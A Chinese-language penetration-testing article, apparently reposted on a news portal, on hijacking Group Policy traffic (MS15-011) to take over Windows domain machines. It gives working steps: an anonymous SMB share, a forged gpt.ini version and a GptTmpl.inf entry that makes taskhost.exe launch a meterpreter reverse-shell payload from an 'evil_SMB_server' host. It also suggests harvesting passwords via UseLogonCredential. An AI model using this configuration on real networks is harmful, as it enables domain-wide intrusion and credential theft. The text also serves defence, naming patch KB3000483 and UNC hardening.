足球资料库数据/孙祥/nba五佳球/足球直播哪个平台好 - cctv5今日现场直播

域滲透之流量劫持
2016-12-13 08:45:00   來源:來源:安全客   評論:0 點(diǎn)擊:

windows Domain 中文翻譯為域,域既是 Windows 網(wǎng)絡(luò)操作系統(tǒng)的邏輯組織單元,也是Internet的邏輯組織單元。它是由所有的用戶計(jì)算機(jī),打印機(jī),用戶賬戶和其他的安全主體組成,被域控制器管理。

推廣 | 令人窒息的獎品等你―2016最權(quán)威的全球開發(fā)者調(diào)研

說在前面

windows Domain 中文翻譯為域,域既是 Windows 網(wǎng)絡(luò)操作系統(tǒng)的邏輯組織單元,也是Internet的邏輯組織單元。它是由所有的用戶計(jì)算機(jī),打印機(jī),用戶賬戶和其他的安全主體組成,被域控制器管理。

域是微軟提供給企業(yè)的一個局域網(wǎng)管理措施,使得信息技術(shù)人員能高效的管理和維護(hù)局域網(wǎng)中所有的主機(jī)和用戶。域位于每一個企業(yè)最核心的位置,在域上運(yùn)行著大量的企業(yè)核心應(yīng)用,如郵件系統(tǒng),協(xié)同辦公系統(tǒng),文件共享系統(tǒng)等。

在網(wǎng)絡(luò)滲透攻擊中,攻擊者如果獲取了域的權(quán)限,那么攻擊者就有可能獲取公司的機(jī)密,控制公司的一切。所以域安全是企業(yè)安全最為核心的一個環(huán)節(jié),并且微軟對域本身也在進(jìn)行不斷的安全加固。

NSA泄漏的文檔和工具讓人們明白了網(wǎng)絡(luò)的底層設(shè)備是多么的不堪一擊,但是部分運(yùn)維人員和安全人員仍然抱有幻想,只要養(yǎng)成正確的計(jì)算機(jī)使用習(xí)慣,不安全的底層網(wǎng)絡(luò)很難威脅到域的安全,但是事實(shí)往往不是這樣,Windows域本身十分脆弱,尤其是在不安全的網(wǎng)絡(luò)環(huán)境中,因?yàn)橛蚴腔谛湃蔚讓泳W(wǎng)絡(luò)進(jìn)行設(shè)計(jì)和建造的。

本文將利用另外一種方法,完成從底層網(wǎng)絡(luò)入侵windows域。

原理分析

當(dāng)?shù)讓泳W(wǎng)絡(luò)被攻陷,攻擊者就能輕易的劫持流量,偽造網(wǎng)絡(luò)節(jié)點(diǎn)。而劫持流量攻擊最基本的設(shè)計(jì)思路就是建立在一個假設(shè)之上,如果劫持了某個設(shè)備,能達(dá)到什么目的。

如果劫持了域控,能達(dá)到什么目的?

基于這個假設(shè),進(jìn)行了一系列測試,拿出其中一個測試與大家共同研究。

在微軟的官網(wǎng)上有如下描述:

組策略是在基于 Active Directory 域服務(wù) (AD DS) 的網(wǎng)絡(luò)上訪問和配置計(jì)算機(jī)及用戶設(shè)置的最輕松易行的方式。如果您的企業(yè)未在使用組策略,那么將會錯失降低成本、控制配置、使用戶保持卓有成效和愉悅的心情以及增強(qiáng)安全性的大好機(jī)會。可以將使用組策略進(jìn)行配置視為“一舉多得”。

域控通過組策略完成對域內(nèi)機(jī)器的進(jìn)行配置的一種方式,windows域機(jī)器每間隔一段時間就會向域控制器請求更新組策略,以保證自身使用著最新的域策略。更新的過程是,域成員機(jī)器每間隔 90min+random()*30min ,向域控請求策略版本號,這個版本號存在于域控的gpt.ini文件中,位于

  1. \domian_namesysvoldomain_namePolicies 

文件夾中,文件內(nèi)容為:

  1. [General] 
  2. Version = 1 

這個版本號如果等于自身版本號,那么系統(tǒng)就認(rèn)為自身組策略是最新版本。然后重置計(jì)時器,等待下一個間隔去請求更新。

詳細(xì)數(shù)據(jù)包請求過程如下圖:

\

如果自身版本號小于返回的版本號,那么系統(tǒng)認(rèn)為自身組策略以過時,就繼續(xù)請求registry.pol 和GptTmpl.ini文件,詳細(xì)數(shù)據(jù)包請求過程如下圖:

\

而GptTmpl.inf文件,是一個模版文件,允許遠(yuǎn)程修改域成員的注冊表。

如果劫持并且修改了GptTmpl.inf文件,就可以隨意修改請求該文件域成員的注冊表。利用劫持該文件入侵域的一種方式就是修改注冊表給域機(jī)器添加啟動項(xiàng),等到機(jī)器重啟時,就可以運(yùn)行指定文件或者腳本。

但是面臨著一個問題,必須等到該機(jī)器重新啟動。該機(jī)器可能啟動周期很長,攻擊者的啟動腳本或攻擊payload存儲的位置就必須持續(xù)保持,很不方便。之前CoreSecurity的測試POC時修改AppInit_DLL注冊表鍵值,但是這個鍵值已經(jīng)不啟用很多年了。所以需要一個簡便高效的方式。再經(jīng)過多種利用測試之后,終于找到一種非常好用的方式,一個神奇的注冊表鍵值:

  1. [HKEY_LOCAL_MACHINESoftwareMicrosoftWindows NTcurrentversionimage file execution optin] 

通過修改這個鍵值,可以給任一windows程序添加一個debugger調(diào)試器。例如可以給cmd.exe添加一個調(diào)試器debugger.exe,這樣你在啟動cmd.exe 的時候,實(shí)際運(yùn)行的為:

  1. c:debugger.exe cmd.exe 

通過這種方式,可以給IE,Chrome或者其他什么用戶可能會運(yùn)行的程序添加一個調(diào)試器,這種方式明顯會比等待用戶重啟要迅速的多。

即使是在用戶權(quán)限受限制的情況下,依然可以通過組策略劫持的方式來對該機(jī)器的注冊表進(jìn)行修改。但是在劫持完成之后,必須對注冊表進(jìn)行清理,因?yàn)樵撜{(diào)試程序不可能長久存在,那么之后用戶可能無法啟動該程序。并且修改鍵值需要管理員權(quán)限。

為了避免猜錯用戶使用的程序和較長的等待時間,經(jīng)過多次測試找到了一個更好的解決辦法。系統(tǒng)在更新組策略之后,會用系統(tǒng)權(quán)限創(chuàng)建一個新的進(jìn)程 taskhost.exe ,即使該用戶處于一個受限制的狀態(tài)。所以給taskhost.exe程序創(chuàng)建一個調(diào)試器,這樣就能在系統(tǒng)更新完粗策略后立刻獲取一個system權(quán)限的shell。不需要漫長的等待,不需要重啟,不需要用戶的任何操作,一切都是靜默中完成。

當(dāng)然,這種劫持組策略執(zhí)行命令的方式很早的時候就報告給了Microsoft,并且在2015年2月10日就發(fā)布安全公告 MS15-011并提供了補(bǔ)丁KB3000483。微軟決定在用戶端修復(fù)這個漏洞,強(qiáng)制使用“SMB Signing”。

但是,雖然這個漏洞在一年多前就已經(jīng)發(fā)布安全公告,并且提供了相關(guān)補(bǔ)丁,但是這個補(bǔ)丁是默認(rèn)不啟用的。

在微軟的官方公告中有這樣一段話:

This security update requires the following steps to be performed in order to protect against the vulnerability described in the bulletin (MS15-011). To enable this functionality, a system administrator must apply the following Group Policy settings in addition to installing security update 3000483.

其含義是:

系統(tǒng)管理員必須手動配置組策略,啟用“UNC Hardened Access”來避免MS15-011漏洞所帶來的安全風(fēng)險。詳細(xì)的配置策略在微軟的官方網(wǎng)站,簡單總結(jié)成了12個步驟,網(wǎng)頁鏈接如下:

https://support.microsoft.com/en-us/kb/3000483

微軟認(rèn)為這是一個漏洞,并且提供了相關(guān)的補(bǔ)丁。但是這個補(bǔ)丁并不是默認(rèn)啟用,必須管理員手動配置12個步驟才能啟用。

所以該漏洞大多數(shù)環(huán)境中依然可以被當(dāng)作0DAY來使用。

測試

實(shí)驗(yàn)測試步驟如下:

1. 準(zhǔn)備存放payload的SMB服務(wù)器和相應(yīng)的payload

在該測試中,在攻擊者機(jī)器上啟用了SMB共享,創(chuàng)建一個映射為SYSVOL的目錄,命令如下:

  1. net share sysvol=C:UsersTESTDesktopsysvol 

或者直接使用界面開啟共享,效果一樣。在文件夾中創(chuàng)建樹形結(jié)構(gòu),因?yàn)橛驒C(jī)器在請求更新的時候只會請求固定位置的文件。文件結(jié)構(gòu)如下:

  1. ─Domain_Name  
  2. └─Policies  
  3.     └─{31B2F340-016D-11D2-945F-00C04FB984F9} 
  4.              │  gpt.ini 
  5.              │ 
  6.              └─Machine 
  7.                  └─Microsoft 
  8.                      └─Windows NT 
  9.                          └─SecEdit 
  10.                                  GptTmpl.inf 

然后開啟整個文件夾的匿名共享,允許任何人訪問。

準(zhǔn)備payload程序,本測試準(zhǔn)備的是meterpreter_resver_tcp.exe,重命名為debugger.exe。

因?yàn)榻俪址绞讲灰粯樱绻x擇直接修改數(shù)據(jù)包內(nèi)容或者重新回包,可以不用創(chuàng)建樹形結(jié)構(gòu)目錄,但是SMB的匿名共享文件夾是需要的,用來存放payload。

2. 劫持中需要修改的數(shù)據(jù)

首先修改Gpt.ini文件,將其中的版本號改為一個較大數(shù)字,方便起見改為1000,如下:

  1. [General]  
  2. Version=1000 

然后修改策略文件GptTmpl.ini,文件原內(nèi)容如下:

  1. [Unicode] 
  2. Unicode=yes 
  3. [System Access] 
  4. MinimumPasswordAge = 1 
  5. MaximumPasswordAge = 42 
  6. MinimumPasswordLength = 7 
  7. PasswordComplexity = 1 
  8. PasswordHistorySize = 24 
  9. LockoutBadCount = 0 
  10. RequireLogonToChangePassword = 0 
  11. ForceLogoffWhenHourExpire = 0 
  12. ClearTextPassword = 0 
  13. LSAAnonymousNameLookup = 0 
  14. [Kerberos Policy] 
  15. MaxTicketAge = 10 
  16. MaxRenewAge = 7 
  17. MaxServiceAge = 600 
  18. MaxClockSkew = 5 
  19. TicketValidateClient = 1 
  20. [Registry Values
  21. MACHINESystemCurrentControlSetControlLsaNoLMHash=4,1 
  22. [Version] 
  23. signature="$CHICAGO$" 
  24. Revision=1 

然后按照設(shè)計(jì)進(jìn)行相應(yīng)的修改,簡便起見,只添加修改注冊表項(xiàng),修改后的文件內(nèi)容如下:

  1. [Registry Values
  2. MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionstaskhost.exeDebugger=1,\evil_SMB_serversysvoladmin.comPolicies{31B2F340-016D-11D2-945F-00C04FB984F9}MachineMicrosoftWindows NTSecEditmuma_test.exe 
  3. [Version] 
  4. signature="$CHICAGO$" 
  5. Revision=1 

將“evil_SMB_server”替換成放置payload的服務(wù)器地址,將“debugger.exe”替換成payload文件。

3. 開始攻擊

劫持流量到attacker上。在這里劫持流量的方式多種多樣,LLMNR,,NBT-NS ,MDNS,ARP,bad_tunnel等等等什么都行,有一款很好用的軟件,叫做Responder github,但是本次試驗(yàn)是專門針對路由器流量劫持定制的程序來完成所有操作。

首先,client會tree一下整個文件夾,然后請求Gpt.ini,對比版本號,然后繼續(xù)請求GptTmpl.ini文件,將文件中的注冊表模版應(yīng)用到注冊表中。應(yīng)用成功之后,下載并以debugger.exe作為調(diào)試器啟動taskhost.exe程序, 然后稍等幾秒:

\

\

done

獲取了一臺機(jī)器的最高控制權(quán)限。

最多等待120min,就可以獲取到整個域機(jī)器的最高權(quán)限。除了域控制器,因?yàn)橛蚩刂破鞑粫埱蟾陆M策略。到那時如果域中有多個域控制器,它們之間會請求更新組策略,同樣可以被劫持。

除了域控外的所有設(shè)備都獲取了控制權(quán)限,已經(jīng)基本可以在域中暢行無阻了。

針對域控,只能使用通過組策略創(chuàng)建替換登錄腳本,添加啟動項(xiàng)等方法中的一種。再或者,通過組策略添加登錄腳本,修改注冊表UseLogonCredential的鍵值,等機(jī)器完成重啟就能批量抓取用戶密碼,因?yàn)橛蚬芾韱T不可能只在域控上登錄。

或者使用其他的更好的方法 ,如有好的思路,請私信我,可以共同討論測試。

這樣就獲取到了整個域的控制權(quán)限。

總結(jié)

底層網(wǎng)絡(luò)設(shè)備很危險,并且底層網(wǎng)絡(luò)能給上層應(yīng)用和服務(wù)帶來難以想象的影響。只是現(xiàn)在的安全圈子沒有深刻認(rèn)識到。

【編輯推薦】

  1. 黑客修改WordPress核心文件,劫持網(wǎng)站流量
  2. 全球最大比特幣錢包運(yùn)營商Blockchain遭遇DNS劫持攻擊
  3. 美國高中生黑客,發(fā)現(xiàn)了手機(jī)無限流量的神方法
  4. Gmail認(rèn)證出現(xiàn)漏洞 任何人可劫持任意郵件賬戶
  5. 智能過濾器:流量分析的交通警察
【責(zé)任編輯:武曉燕 TEL:(010)68476606】

相關(guān)熱詞搜索:域滲透 劫持 流量

上一篇:黑客殺人很輕松?植入式醫(yī)學(xué)器械最易遭受網(wǎng)絡(luò)攻擊
下一篇:基于物聯(lián)網(wǎng)、智能化惡意軟件和勒索軟件的攻擊將成為2017年主要威脅活動

分享到: 收藏